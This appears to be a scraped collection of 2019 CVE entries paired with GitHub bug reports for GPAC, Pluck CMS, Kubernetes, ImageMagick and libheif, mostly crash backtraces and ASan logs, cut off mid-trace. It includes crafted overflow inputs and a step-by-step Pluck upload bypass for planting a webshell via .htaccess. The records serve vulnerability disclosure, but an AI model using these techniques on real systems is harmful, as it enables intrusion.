(sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff725f028 in __GI_abort () at abort.c:89 #2 0x00007ffff72982a4 in __libc_message (do_abort=do_abort@entry=1, fmt=fmt@entry=0x7ffff73a4113 "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:175 #3 0x00007ffff732fbbc in __GI___fortify_fail (msg=<optimized out>, msg@entry=0x7ffff73a40fb "stack smashing detected") at fortify_fail.c:38 #4 0x00007ffff732fb60 in __stack_chk_fail () at stack_chk_fail.c:28 #5 0x00007ffff78b28eb in gf_import_message (import=0x7fffffff9b60, e=GF_CORRUPTED_DATA, format=0x7ffff7b3d7f0 "Bad SRT formatting - expecting number got \"%s\"") at media_tools/media_import.c:59 #6 0x00007ffff795db01 in gf_text_import_srt (import=0x7fffffff9b60) at media_tools/text_import.c:505 #7 0x00007ffff7966e38 in gf_import_timed_text (import=0x7fffffff9b60) at media_tools/text_import.c:2673 #8 0x00007ffff78ded42 in gf_media_import (importer=0x7fffffff9b60) at media_tools/media_import.c:10663 #9 0x000000000041c71c in mp4boxMain (argc=4, argv=0x7fffffffe548) at main.c:4129 #10 0x0000000000423d05 in main (argc=4, argv=0x7fffffffe548) at main.c:5712 (gdb) Guoxiang Niu, EaglEye Team

buffer overflow issue 6#

https://api.github.com/repos/gpac/gpac/issues/1203/comments

2019-02-12T03:44:32Z

2019-04-19T09:00:55Z

https://github.com/gpac/gpac/issues/1203

CVE-2019-11222

2019-04-15T12:31:36.507

gf_bin128_parse in utils/os_divers.c in GPAC 0.7.1 has a buffer overflow issue for the crypt feature when encountering a crafted_drm_file.xml file.

https://github.com/gpac/gpac/issues/1204

github.com

there is a buffer overflow issue for crypt feature when use a crafted_drm_file.xml file. overflow occur when use a crafted key value. root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# gdb ./MP4Box (gdb) set args -crypt crafted_drm_file.xml overview.mp4 -out overview_encrypted.mp4 (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -crypt crafted_drm_file.xml overview.mp4 -out overview_encrypted.mp4 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [CORE] 128bit blob is not 16-bytes long: 5544694d47473326622665665a396b3611111111111111111111111111111111111111111111111111111111111111111111111111111111 [CENC] Cannnot parse key value *** Error in `/opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box': free(): corrupted unsorted chunks: 0x0000000000692030 *** Program received signal SIGABRT, Aborted. 0x00007ffff725bc37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff725bc37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff725f028 in __GI_abort () at abort.c:89 #2 0x00007ffff72982a4 in __libc_message (do_abort=do_abort@entry=1, fmt=fmt@entry=0x7ffff73a66b0 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175 #3 0x00007ffff72a455e in malloc_printerr (ptr=<optimized out>, str=0x7ffff73a6800 "free(): corrupted unsorted chunks", action=1) at malloc.c:4996 #4 _int_free (av=<optimized out>, p=<optimized out>, have_lock=0) at malloc.c:3840 #5 0x00007ffff6812e1b in inflateEnd () from /lib/x86_64-linux-gnu/libz.so.1 #6 0x00007ffff68183d9 in gzclose_r () from /lib/x86_64-linux-gnu/libz.so.1 #7 0x00007ffff76609fd in xml_sax_read_file (parser=0x68ba30) at utils/xml_parser.c:1177 #8 0x00007ffff7660db2 in gf_xml_sax_parse_file (parser=0x68ba30, fileName=0x7fffffffe7d3 "crafted_drm_file.xml", OnProgress=0x0) at utils/xml_parser.c:1269 #9 0x00007ffff794c69a in load_crypt_file (file=0x7fffffffe7d3 "crafted_drm_file.xml") at media_tools/ismacryp.c:388 #10 0x00007ffff79552ad in gf_crypt_file (mp4=0x670c20, drm_file=0x7fffffffe7d3 "crafted_drm_file.xml") at media_tools/ismacryp.c:2882 #11 0x000000000042188c in mp4boxMain (argc=6, argv=0x7fffffffe548) at main.c:5202 #12 0x0000000000423d05 in main (argc=6, argv=0x7fffffffe548) at main.c:5712 (gdb) Guoxiang Niu, EaglEye Team

buffer overflow issue 7#

https://api.github.com/repos/gpac/gpac/issues/1204/comments

2019-02-13T07:12:39Z

2019-04-19T08:50:59Z

https://github.com/gpac/gpac/issues/1204

CVE-2019-11222

2019-04-15T12:31:36.507

gf_bin128_parse in utils/os_divers.c in GPAC 0.7.1 has a buffer overflow issue for the crypt feature when encountering a crafted_drm_file.xml file.

https://github.com/gpac/gpac/issues/1205

github.com

there is a buffer overflow issue for crypt feature when use a crafted_drm_file.xml file. overflow occur when use a crafted ID128 value. root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# gdb ./MP4Box (gdb) set args -crypt drm_file.xml overview.mp4 -out overview_encrypted.mp4 (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -crypt drm_file.xml overview.mp4 -out overview_encrypted.mp4 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [CORE] 128bit blob is not 16-bytes long: 6770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C316770616363656E6364726D746F6F6C31 [XML/NHML] Cannot parse ID128 *** stack smashing detected ***: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box terminated Program received signal SIGABRT, Aborted. 0x00007ffff725bc37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff725bc37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff725f028 in __GI_abort () at abort.c:89 #2 0x00007ffff72982a4 in __libc_message (do_abort=do_abort@entry=1, fmt=fmt@entry=0x7ffff73a4113 "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:175 #3 0x00007ffff732fbbc in __GI___fortify_fail (msg=<optimized out>, msg@entry=0x7ffff73a40fb "stack smashing detected") at fortify_fail.c:38 #4 0x00007ffff732fb60 in __stack_chk_fail () at stack_chk_fail.c:28 #5 0x00007ffff7664910 in gf_xml_parse_bit_sequence_bs (bsroot=0x6950d0, bs=0x695200) at utils/xml_parser.c:2173 #6 0x00007ffff766495f in gf_xml_parse_bit_sequence (bsroot=0x6950d0, data=0x7ffffffbdcb8, data_size=0x7ffffffbdc84) at utils/xml_parser.c:2181 #7 0x00007ffff7954e85 in gf_cenc_parse_drm_system_info (mp4=0x670c20, drm_file=0x7fffffffe7db "drm_file.xml") at media_tools/ismacryp.c:2817 #8 0x00007ffff79553ec in gf_crypt_file (mp4=0x670c20, drm_file=0x7fffffffe7db "drm_file.xml") at media_tools/ismacryp.c:2898 #9 0x000000000042188c in mp4boxMain (argc=6, argv=0x7fffffffe548) at main.c:5202 #10 0x0000000000423d05 in main (argc=6, argv=0x7fffffffe548) at main.c:5712 Guoxiang Niu, EaglEye Team

buffer overflow issue 8#

https://api.github.com/repos/gpac/gpac/issues/1205/comments

2019-02-13T09:49:56Z

2019-04-19T08:50:26Z

https://github.com/gpac/gpac/issues/1205

CVE-2019-11344

2019-04-19T19:29:00.233

data/inc/files.php in Pluck 4.7.8 allows remote attackers to execute arbitrary code by uploading a .htaccess file that specifies SetHandler x-httpd-php for a .txt file, because only certain PHP-related filename extensions are blocked.

https://github.com/pluck-cms/pluck/issues/72

github.com

Location: https://github.com/pluck-cms/pluck/blob/master/data/inc/files.php#L40 Code: ```php <?php // ...... $blockedExtentions = array('.php','php3','php4','php5','php6','php7','phtml'); if (in_array($lastfour, $blockedExtentions) or in_array($lastfive, $blockedExtentions) ){ if (!rename('files/'.latinOnlyInput($_FILES['filefile']['name']), 'files/'.latinOnlyInput($_FILES['filefile']['name']).'.txt')){ show_error($lang['general']['upload_failed'], 1); } chmod('files/'.latinOnlyInput($_FILES['filefile']['name']).'.txt', 0775); }else{ chmod('files/'.latinOnlyInput($_FILES['filefile']['name']), 0775); } // ...... ?> ``` When the uploaded file hits the suffix in `$blockedExtentions`, the file will be renamed to `.{ext}.txt`, and missed `$blockedExtentions` will not be renamed. So you can upload a webshell by overriding the `.htaccess` file. **Step1. Upload a file `.htaccess`** File content:  **Step2. Upload file `phpinfo.txt`** File content:  **Step3. Request** 

file-upload vulnerability in data/inc/files.php

https://api.github.com/repos/pluck-cms/pluck/issues/72/comments

2019-04-09T14:45:54Z

2019-05-29T16:19:45Z

https://github.com/pluck-cms/pluck/issues/72

CVE-2019-11243

2019-04-22T15:29:00.790

In Kubernetes v1.12.0-v1.12.4 and v1.13.0, the rest.AnonymousClientConfig() method returns a copy of the provided config, with credentials removed (bearer token, username/password, and client certificate/key data). In the affected versions, rest.AnonymousClientConfig() did not effectively clear service account credentials loaded using rest.InClusterConfig()

https://github.com/kubernetes/kubernetes/issues/76797

github.com

CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N The `rest.AnonymousClientConfig()` method returns a copy of the provided config, with credentials removed (bearer token, username/password, and client certificate/key data). In the following versions, `rest.AnonymousClientConfig()` did not effectively clear service account credentials loaded using `rest.InClusterConfig()`: * v1.12.0-v1.12.4 * v1.13.0 **What is the impact?** * `k8s.io/client-go` users that use the `rest.AnonymousClientConfig()` method directly with client config loaded with `rest.InClusterConfig()` receive back a client config which can still send the loaded service account token with requests. **How was the issue fixed?** * In 1.12.5+ and 1.13.1+, `rest.InClusterConfig()` was modified to return a client config that is safe to use with the `rest.AnonymousClientConfig()` method (https://github.com/kubernetes/kubernetes/pull/71713) * In v1.15.0, the `rest.AnonymousClientConfig()` will also exclude the `config.Transport` and `config.WrapTransport` fields, in addition to the explicit credential-carrying fields. (https://github.com/kubernetes/kubernetes/pull/75771) **How do I resolve the issue?** * Upgrade `k8s.io/client-go` to `kubernetes-1.12.5`, `kubernetes-1.13.1`, `kubernetes-1.14.0`, or higher * or manually clear the `config.WrapTransport` and `config.Transport` fields in addition to calling `rest.AnonymousClientConfig()` Thanks to Oleg Bulatov of Red Hat for reporting this issue. /area security /kind bug /sig auth /sig api-machinery /assign /close

CVE-2019-11243: v1.12.0-v1.12.4, v1.13.0: rest.AnonymousClientConfig() does not remove the serviceaccount credentials from config created by rest.InClusterConfig()

https://api.github.com/repos/kubernetes/kubernetes/issues/76797/comments

2019-04-18T21:31:53Z

2022-05-16T21:59:22Z

https://github.com/kubernetes/kubernetes/issues/76797

CVE-2019-11244

2019-04-22T15:29:00.837

In Kubernetes v1.8.x-v1.14.x, schema info is cached by kubectl in the location specified by --cache-dir (defaulting to $HOME/.kube/http-cache), written with world-writeable permissions (rw-rw-rw-). If --cache-dir is specified and pointed at a different location accessible to other users/groups, the written files may be modified by other users/groups and disrupt the kubectl invocation.

https://github.com/kubernetes/kubernetes/issues/76676

github.com

In kubectl v1.8.0+, schema info is cached in the location specified by `--cache-dir` (defaulting to `$HOME/.kube/http-cache`), written with world-writeable permissions (rw-rw-rw-). If `--cache-dir` is specified and pointed at a different location accessible to other users/groups, the written files may be modified by other users/groups and disrupt the kubectl invocation. CVSS score: CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N (3.3, low) **What versions are affected?** kubectl v1.8.0+ **What configurations are affected?** Invocations that point `--cache-dir` at world-writeable locations **Impact** Malformed responses written to the cache directory can disrupt the kubectl invocation **Workaround** Use the default `--http-cache` location in the $HOME directory or point it at a directory that is only accessible to desired users/groups. (original description follows) ==== What happened: The files inside of ".kube/http-cache" are world writeable (rw-rw-rw-). While the default for these files appears to be the home directory, using the "--cache-dir" flag could put these files into a place where world writeable files would allow any user / process to modify the cache files. Modification of the cache files could influence the kubectl utility in a negative way for other users. What you expected to happen: Apply stricter file permissions to the http-cache files. How to reproduce it (as minimally and precisely as possible): Run any generic kubectl command which is successful and then list the cache directory ~/.kube/http-cache/* $ kubectl get pods --all-namespaces $ ls -la ~/.kube/http-cache/* Anything else we need to know?: I estimate this is a low severity security issue with a CVSS score of "3.3 / CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N" - https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N Environment: Linux Kubernetes version (use kubectl version):Client Version: version.Info{Major:"1", Minor:"12", GitVersion:"v1.12.6", GitCommit:"ab91afd7062d4240e95e51ac00a18bd58fddd365", GitTreeState:"clean", BuildDate:"2019-02-26T12:49:28Z", GoVersion:"go1.10.8", Compiler:"gc", Platform:"linux/amd64"} Server Version: version.Info{Major:"1", Minor:"12", GitVersion:"v1.12.6", GitCommit:"ab91afd7062d4240e95e51ac00a18bd58fddd365", GitTreeState:"clean", BuildDate:"2019-02-26T12:49:28Z", GoVersion:"go1.10.8", Compiler:"gc", Platform:"linux/amd64"} Cloud provider or hardware configuration: AWS. Running kube api server in hyperkube. OS (e.g: cat /etc/os-release): NAME="CentOS Linux" VERSION="7.1808 (Core)" ID="centos" ID_LIKE="rhel fedora" VERSION_ID="7" PRETTY_NAME="CentOS Linux 7.1808 (Core)" ANSI_COLOR="0;31" CPE_NAME="cpe:/o:centos:centos:7" HOME_URL="https://www.centos.org/" BUG_REPORT_URL="https://bugs.centos.org/" CENTOS_MANTISBT_PROJECT="CentOS-7" CENTOS_MANTISBT_PROJECT_VERSION="7" REDHAT_SUPPORT_PRODUCT="centos" REDHAT_SUPPORT_PRODUCT_VERSION="7" OSTREE_VERSION=7.1808 Kernel (e.g. uname -a): Linux hackit.internal 3.10.0-862.11.6.el7.x86_64 #1 SMP Tue Aug 14 21:49:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux Install tools: Manual installation. Others: n/a

CVE-2019-11244: `kubectl --http-cache=<world-accessible dir>` creates world-writeable cached schema files

https://api.github.com/repos/kubernetes/kubernetes/issues/76676/comments

2019-04-16T20:14:25Z

2022-10-14T02:06:00Z

https://github.com/kubernetes/kubernetes/issues/76676

CVE-2019-11470

2019-04-23T14:29:00.600

The cineon parsing component in ImageMagick 7.0.8-26 Q16 allows attackers to cause a denial-of-service (uncontrolled resource consumption) by crafting a Cineon image with an incorrect claimed image size. This occurs because ReadCINImage in coders/cin.c lacks a check for insufficient image data in a file.

https://github.com/ImageMagick/ImageMagick/issues/1472

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description Cineon image may be mistakenly parsed with incorrect pixel information, causing converting to take too much CPU resource. ### Steps to Reproduce convert c.cin /tmp/test.tmp ``` work/imagemagick > gdb --args ./ImageMagick-orig/install/bin/convert ./convert-report/c.cin /tmp/test.bmp Reading symbols from ./ImageMagick-orig/install/bin/convert...done. gdb$ run Starting program: /home/ubuntu/work/imagemagick/ImageMagick-orig/install/bin/convert ./convert-report/c.cin /tmp/test.bmp [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". ^C Program received signal SIGINT, Interrupt. SetImageBackgroundColor (image=0x63aab0, exception=0x6244d0) at MagickCore/image.c:2464 2464 q+=GetPixelChannels(image); gdb$ b MagickCore/image.c:2464 Breakpoint 1 at 0x7ffff777ed88: file MagickCore/image.c, line 2464. gdb$ p image->columns $1 = 0x40002 gdb$ p image->Quitmns gdb$ display image->columns 1: image->columns = 0x40002 gdb$ display image->rows 2: image->rows = 0x70000 gdb$ display x 3: x = 0x1bd43 gdb$ display y 4: y = 0x21d gdb$ c 100 Not stopped at any breakpoint; argument ignored. Continuing. Breakpoint 1, SetImageBackgroundColor (image=0x63aab0, exception=0x6244d0) at MagickCore/image.c:2464 2464 q+=GetPixelChannels(image); 1: image->columns = 0x40002 2: image->rows = 0x70000 3: x = 0x1bd44 4: y = 0x21d gdb$ c 100 Will ignore next 255 crossings of breakpoint 1. Continuing. Breakpoint 1, SetImageBackgroundColor (image=0x63aab0, exception=0x6244d0) at MagickCore/image.c:2464 2464 q+=GetPixelChannels(image); 1: image->columns = 0x40002 2: image->rows = 0x70000 3: x = 0x1be44 4: y = 0x21d gdb$ c 1000 Will ignore next 4095 crossings of breakpoint 1. Continuing. Breakpoint 1, SetImageBackgroundColor (image=0x63aab0, exception=0x6244d0) at MagickCore/image.c:2464 2464 q+=GetPixelChannels(image); 1: image->columns = 0x40002 2: image->rows = 0x70000 3: x = 0x1ce44 4: y = 0x21d ``` [cin.zip](https://github.com/ImageMagick/ImageMagick/files/2830725/cin.zip) ### System Configuration - ImageMagick version:7.0.8-26 Q16 x86_64 2019-02-05 (6b3bdb65b) - Environment (Operating system, version and so on): Ubuntu 18.04 x86_64 - Additional information: Version 6.9.7-4 Q16 x86_64 20170114 seems fine with error message "width or height exceeds limit `c.cin'". <!-- Thanks for reporting the issue to ImageMagick! -->

Incorrect parsing Cineon causing `convert` to take ridiculous time

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1472/comments

2019-02-05T04:29:35Z

2019-04-23T16:45:43Z

https://github.com/ImageMagick/ImageMagick/issues/1472

CVE-2019-11471

2019-04-23T14:29:00.697

libheif 1.4.0 has a use-after-free in heif::HeifContext::Image::set_alpha_channel in heif_context.h because heif_context.cc mishandles references to non-existing alpha images.

https://github.com/strukturag/libheif/issues/123

github.com

As of dcbfa77, `./heif-convert $FILE /tmp/test.png` may report a heap-use-after-free error when libheif is compiled with AddressSanitizer. ``` ==16294==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000004a0 at pc 0x7ffff78fe3f6 bp 0x7fffffff89a0 sp 0x7fffffff8998 WRITE of size 8 at 0x6030000004a0 thread T0 #0 0x7ffff78fe3f5 in std::__shared_ptr<heif::HeifContext::Image, (__gnu_cxx::_Lock_policy)2>::operator=(std::__shared_ptr<heif::HeifContext::Image, (__gnu_cxx::_Lock_policy)2> const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/shared_ptr_base.h:1122:69 #1 0x7ffff78fb156 in std::shared_ptr<heif::HeifContext::Image>::operator=(std::shared_ptr<heif::HeifContext::Image> const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/shared_ptr.h:296:65 #2 0x7ffff792a808 in heif::HeifContext::Image::set_alpha_channel(std::shared_ptr<heif::HeifContext::Image>) /home/hongxu/FOT/libheif/libheif-asan/libheif/./heif_context.h:117:75 #3 0x7ffff790cba1 in heif::HeifContext::interpret_heif_file() /home/hongxu/FOT/libheif/libheif-asan/libheif/heif_context.cc:584:34 #4 0x7ffff7910164 in heif::HeifContext::read_from_file(char const*) /home/hongxu/FOT/libheif/libheif-asan/libheif/heif_context.cc:351:10 #5 0x7ffff78e3e46 in heif_context_read_from_file /home/hongxu/FOT/libheif/libheif-asan/libheif/heif.cc:184:29 #6 0x4f84bd in main /home/hongxu/FOT/libheif/libheif-asan/examples/heif_convert.cc:164:9 #7 0x7ffff5dd5b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #8 0x41cf49 in _start (/home/hongxu/FOT/libheif/libheif-asan/install/bin/heif-convert+0x41cf49) 0x6030000004a0 is located 16 bytes inside of 27-byte region [0x603000000490,0x6030000004ab) freed by thread T0 here: #0 0x4f4c12 in operator delete(void*) (/home/hongxu/FOT/libheif/libheif-asan/install/bin/heif-convert+0x4f4c12) #1 0x7ffff790c82e in heif::HeifContext::interpret_heif_file() /home/hongxu/FOT/libheif/libheif-asan/libheif/heif_context.cc:574:15 #2 0x7ffff7910164 in heif::HeifContext::read_from_file(char const*) /home/hongxu/FOT/libheif/libheif-asan/libheif/heif_context.cc:351:10 #3 0x7ffff78e3e46 in heif_context_read_from_file /home/hongxu/FOT/libheif/libheif-asan/libheif/heif.cc:184:29 #4 0x4f84bd in main /home/hongxu/FOT/libheif/libheif-asan/examples/heif_convert.cc:164:9 #5 0x7ffff5dd5b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 previously allocated by thread T0 here: #0 0x4f3fd2 in operator new(unsigned long) (/home/hongxu/FOT/libheif/libheif-asan/install/bin/heif-convert+0x4f3fd2) #1 0x7ffff6c8e26c in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct<char*>(char*, char*, std::forward_iterator_tag) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x12726c) #2 0x60600000031f (<unknown module>) LLVMSymbolizer: error reading file: No such file or directory #3 0x7fffffff929f ([stack]+0x1d29f) SUMMARY: AddressSanitizer: heap-use-after-free /usr/bin/../lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/shared_ptr_base.h:1122:69 in std::__shared_ptr<heif::HeifContext::Image, (__gnu_cxx::_Lock_policy)2>::operator=(std::__shared_ptr<heif::HeifContext::Image, (__gnu_cxx::_Lock_policy)2> const&) Shadow bytes around the buggy address: 0x0c067fff8040: 00 fa fa fa fd fd fd fd fa fa 00 00 00 01 fa fa 0x0c067fff8050: 00 00 00 fa fa fa fd fd fd fd fa fa 00 00 00 fa 0x0c067fff8060: fa fa 00 00 00 fa fa fa 00 00 00 07 fa fa fd fd 0x0c067fff8070: fd fd fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8080: fd fd fd fd fa fa 00 00 00 00 fa fa fd fd fd fa =>0x0c067fff8090: fa fa fd fd[fd]fd fa fa fd fd fd fd fa fa fa fa 0x0c067fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==16294==ABORTING ``` zipped POCs: [libheif.zip](https://github.com/strukturag/libheif/files/3077346/libheif.zip)

AddressSanitizer: heap-use-after-free at heif_context.h:117

https://api.github.com/repos/strukturag/libheif/issues/123/comments

2019-04-14T12:30:34Z

2019-04-28T12:52:59Z

https://github.com/strukturag/libheif/issues/123

CVE-2019-11472

2019-04-23T14:29:00.837

ReadXWDImage in coders/xwd.c in the XWD image parsing component of ImageMagick 7.0.8-41 Q16 allows attackers to cause a denial-of-service (divide-by-zero error) by crafting an XWD image file in which the header indicates neither LSB first nor MSB first.

https://github.com/ImageMagick/ImageMagick/issues/1546

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description When using `identify -verbose $FILE` on XWD files, it may emit FPE errors at multiple locations. ### Steps to Reproduce * run `identify -verbose $FILE` * ASAN messages may be like: fpe_xwd.c:490_1.xwd ``` ASAN:DEADLYSIGNAL ================================================================= ==19029==ERROR: AddressSanitizer: FPE on unknown address 0x7f0623a03210 (pc 0x7f0623a03210 bp 0x000000000000 sp 0x7ffc86dbd220 T0) #0 0x7f0623a0320f (/usr/lib/x86_64-linux-gnu/libX11.so.6+0x2720f) #1 0x7f0627deb295 in ReadXWDImage coders/xwd.c:490 #2 0x7f06276d4854 in ReadImage MagickCore/constitute.c:547 #3 0x7f06276d778b in ReadImages MagickCore/constitute.c:917 #4 0x7f0626f69817 in IdentifyImageCommand MagickWand/identify.c:321 #5 0x7f0626ffdde0 in MagickCommandGenesis MagickWand/mogrify.c:184 #6 0x55c1ef27bf00 in MagickMain utilities/magick.c:149 #7 0x55c1ef27c186 in main utilities/magick.c:180 #8 0x7f062675ab96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x55c1ef27b979 in _start (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x1979) ``` fpe_xwd.c:520_1.xwd ``` ASAN:DEADLYSIGNAL ================================================================= ==28450==ERROR: AddressSanitizer: FPE on unknown address 0x7f20a562e210 (pc 0x7f20a562e210 bp 0x000000000000 sp 0x7ffd19f36b80 T0) #0 0x7f20a562e20f (/usr/lib/x86_64-linux-gnu/libX11.so.6+0x2720f) #1 0x7f20a9a166c9 in ReadXWDImage coders/xwd.c:520 #2 0x7f20a92ff854 in ReadImage MagickCore/constitute.c:547 #3 0x7f20a930278b in ReadImages MagickCore/constitute.c:917 #4 0x7f20a8b94817 in IdentifyImageCommand MagickWand/identify.c:321 #5 0x7f20a8c28de0 in MagickCommandGenesis MagickWand/mogrify.c:184 #6 0x55b4ed9adf00 in MagickMain utilities/magick.c:149 #7 0x55b4ed9ae186 in main utilities/magick.c:180 #8 0x7f20a8385b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x55b4ed9ad979 in _start (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x1979) ``` ### System Configuration - ImageMagick version:7.0.8-41 Q16 x86_64 2019-04-14 - Environment (Operating system, version and so on): Ubuntu 18.04 LTS, x84_64 - Additional information: This was firstly detected in GraphicsMagick, but I found this also happens in ImageMagick 6/7. POCs: [im.zip](https://github.com/ImageMagick/ImageMagick/files/3077110/im.zip)

FPE errors when reading XWD images

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1546/comments

2019-04-14T07:21:12Z

2019-04-24T01:24:42Z

https://github.com/ImageMagick/ImageMagick/issues/1546

CVE-2019-11597

2019-04-29T16:29:00.407

In ImageMagick 7.0.8-43 Q16, there is a heap-based buffer over-read in the function WriteTIFFImage of coders/tiff.c, which allows an attacker to cause a denial of service or possibly information disclosure via a crafted image file.

https://github.com/ImageMagick/ImageMagick/issues/1555

github.com

### Prerequisites - [X] I have written a descriptive issue title - [X] I have verified that I am using the latest version of ImageMagick - [X] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a heap buffer overflow vulnerability in function WriteTIFFImage of coders/tiff.c. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> [poc](https://drive.google.com/open?id=1VPmM34DHDhFYJCMKvRYIAH4iT14hVsOE) magick convert $poc /dev/null `=================================================================` `==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ab14 at pc 0x7f24afc30935 bp 0x7ffe0bdcba20 sp 0x7ffe0bdcb1c8` `READ of size 131072 at 0x60200000ab14 thread T0` ` #0 0x7f24afc30934 in __asan_memcpy 